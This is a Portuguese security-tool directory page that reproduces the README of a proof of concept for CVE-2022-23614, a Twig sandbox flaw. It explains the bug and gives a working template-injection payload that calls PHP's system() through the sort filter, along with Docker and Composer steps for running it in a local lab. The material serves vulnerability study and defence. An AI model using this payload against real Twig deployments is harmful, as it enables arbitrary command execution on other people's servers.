Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-23614 — Prova de conceito para CVE-2022-23614 (injeção de comando no Twig) | Kitploit
Ferramentas/GitHubGitHub/4rtamis/cve-2022-23614
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e EducaçãoLabs e Prática
GitHub4rtamis/cve-2022-23614

CVE-2022-23614

Prova de conceito para CVE-2022-23614 (injeção de comando no Twig)

Ver Repositório
1há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-23614

Prova de conceito (PoC) para CVE-2022-23614 referenciada no DSA-5107-1.

  • CVSS-2.0: 7.5
  • CVSS-3.X: 9.8

Explicação

Twig é um motor de templates flexível, rápido e seguro para PHP. Notavelmente, é possível usar filtros em um template antes de renderizá-lo. O filtro sort pode ser usado para ordenar os elementos de um array com a seguinte estrutura:

root@kitploit:~
{{ [5,8,2,3]|sort('desc') }}

Twig possui um modo sandbox para avaliar código de template não confiável. Quando neste modo sandbox, o parâmetro arrow do filtro sort deve ser uma closure para evitar que atacantes consigam executar funções PHP arbitrárias. Nas versões afetadas, essa restrição não foi aplicada corretamente e poderia levar à injeção de código PHP arbitrário.

root@kitploit:~
{{ ["id",""]|sort('system') }}

Uso

Este PoC ilustra a vulnerabilidade em dois casos de uso diferentes: usando o pacote Debian php-twig (v2.14.1) ou usando o módulo Composer twig/twig (v2.14).

O arquivo index.php cria um template Twig baseado no primeiro argumento. No código a seguir, argv[1] é o nome da função de ordenação que será usada pelo Twig ao renderizar.

root@kitploit:~
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";

Em seguida, index.php usará duas funções obsoletas do Twig para carregar o template gerado. Eventualmente, ele usa o segundo argumento (argv[2]) para passar dados para o template enquanto ele está sendo renderizado, notadamente o array args que queremos ordenar.

root@kitploit:~
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);

O template renderizado é então impresso na saída padrão.

Observe que este repositório foi feito apenas para fins de demonstração. Ele foi concebido para ser simples de entender e fácil de usar para brincar com o CVE usando apenas uma interface de linha de comando. Está bem longe do que se pode encontrar em um servidor vulnerável real.

php-twig

Usando Docker, podemos recriar o contexto do Debian Security Advisory (DSA) original. Você pode usar o script build-docker.sh fornecido para construir e executar corretamente o contêiner vulnerável.

root@kitploit:~
chmod a+x build-docker.sh
./build-docker.sh

O contêiner deve desligar assim que o payload for executado (um comando id). Se você quiser testar seus próprios comandos, pode executar o contêiner no modo interativo:

root@kitploit:~
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash

Uma vez dentro do contêiner, você pode criar seu próprio payload usando o seguinte modelo:

root@kitploit:~
php index.php system '{"args":["id",""]}'
                ^                 ^
          sorting function   array to sort

Este dockerfile foi parcialmente criado usando DECRET.

Composer

Se você já tem php e Composer instalados em sua máquina, pode replicar o exploit usando o módulo Composer vulnerável.

root@kitploit:~
cd exploit
composer install

Então você só precisa brincar com o payload.

root@kitploit:~
php index.php system '{"args":["id",""]}'

Referências

  • Detalhes do CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-23614

  • DSA: https://www.debian.org/security/2022/dsa-5107

  • Commit do patch: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9

  • PoC por davwwwx (usando GUI): https://github.com/davwwwx/CVE-2022-23614

Baixar ferramenta